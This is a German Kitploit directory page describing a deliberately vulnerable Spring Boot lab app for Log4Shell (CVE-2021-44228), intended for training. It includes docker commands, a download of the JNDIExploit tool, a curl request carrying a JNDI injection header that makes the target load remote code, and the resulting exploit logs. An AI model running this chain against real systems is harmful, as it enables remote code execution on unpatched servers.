Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4shell-vulnerable-app — Spring Boot Webanwendung, anfällig für CVE-2021-44228, auch Log4Shell genannt. | Kitploit
Tools/GitHubGitHub/bsigouin/log4shell-vulnerable-app
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubbsigouin/log4shell-vulnerable-app

log4shell-vulnerable-app

Spring Boot Webanwendung, anfällig für CVE-2021-44228, auch Log4Shell genannt.

Repository anzeigen
2vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Log4Shell-Beispiel für eine verwundbare Anwendung (CVE-2021-44228)

Dieses Repository enthält eine Spring Boot Webanwendung, die anfällig für CVE-2021-44228 ist, genannt Log4Shell.

Es verwendet Log4j 2.14.1 (über spring-boot-starter-log4j2 2.6.1) und JDK 1.8.0_181.

Ausführen der Anwendung

Starten:

root@kitploit:~
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Selbst bauen (Sie benötigen keine Java-bezogenen Werkzeuge):

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

Ausnutzungsschritte

Hinweis: Dies ist stark inspiriert von der ursprünglichen . .

LunaSec-Ankündigung
Auf eigenes Risiko ausführen, vorzugsweise in einer VM in einer Sandbox-Umgebung

Aktualisierung (13. Dezember): Das JNDIExploit-Repository wurde von GitHub entfernt (vermutlich nicht durch GitHub). Fügen Sie einfach web.archive.org vor die JNDIExploit-Download-URL unten ein, um die von der Wayback Machine zwischengespeicherte Version zu verwenden.

  • Verwenden Sie JNDIExploit, um einen bösartigen LDAP-Server zu starten
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • Dann lösen Sie den Exploit aus mit:
root@kitploit:~
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Beachten Sie die Ausgabe von JNDIExploit, die zeigt, dass es eine bösartige LDAP-Antwort gesendet und die zweite Stufe des Payloads bereitgestellt hat:
root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • Um zu bestätigen, dass die Codeausführung erfolgreich war, beachten Sie, dass die Datei /tmp/pwned.txt im Container, der die verwundbare Anwendung ausführt, erstellt wurde:
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
...
pwned
...

Referenzen

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Mitwirkende

@christophetd @rayhan0x01

Tool herunterladen